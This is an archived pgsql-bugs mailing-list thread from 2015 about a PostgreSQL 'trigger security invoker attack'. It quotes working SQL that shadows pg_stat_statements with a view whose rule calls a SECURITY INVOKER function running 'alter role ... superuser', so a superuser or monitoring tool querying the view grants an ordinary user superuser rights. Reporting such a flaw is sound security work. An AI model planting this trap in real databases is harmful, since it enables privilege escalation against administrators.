Re: BUG #13651: trigger security invoker attack
От | 德哥 |
---|---|
Тема | Re: BUG #13651: trigger security invoker attack |
Дата | |
Msg-id | 762bf7bb.3a36.1501c0057c6.Coremail.digoal@126.com обсуждение исходный текст |
Ответ на | Re: BUG #13651: trigger security invoker attack ("David G. Johnston" <david.g.johnston@gmail.com>) |
Список | pgsql-bugs |
The point is:
Superuser will be trick possible. like phishing sites.
FOR EXP:
DBA, or some monitor / admin software query these table or view.
--
公益是一辈子的事,I'm Digoal,Just Do It.
公益是一辈子的事,I'm Digoal,Just Do It.
在 2015-09-30 10:01:12,"David G. Johnston" <david.g.johnston@gmail.com> 写道:
On Tuesday, September 29, 2015, 德哥 <digoal@126.com> wrote:a normal user get super privilege, use security invoker function.postgres=> create table pg_stat_statements (userid oid ,dbid oid ,queryid bigint ,query text ,calls bigint ,total_time double precision ,rows bigint ,shared_blks_hit bigint ,shared_blks_read bigint ,shared_blks_dirtied bigint ,shared_blks_written bigint ,local_blks_hit bigint ,local_blks_read bigint ,local_blks_dirtied bigint ,local_blks_written bigint ,temp_blks_read bigint ,temp_blks_written bigint ,blk_read_time double precision ,blk_write_time double precision );postgres=> create or replace function f() returns pg_stat_statements as $$declarebeginalter role digoal superuser;end;$$ language plpgsql security invoker;CREATE FUNCTIONpostgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();CREATE RULEWhen a super user select the view pg_stat_statements , the normal user digoal will granted the superuser role.Yes, it's a normal operation ,but somebody can use these trick.Everything you just wrote was done as superuser so what's your point?David J.
В списке pgsql-bugs по дате отправления: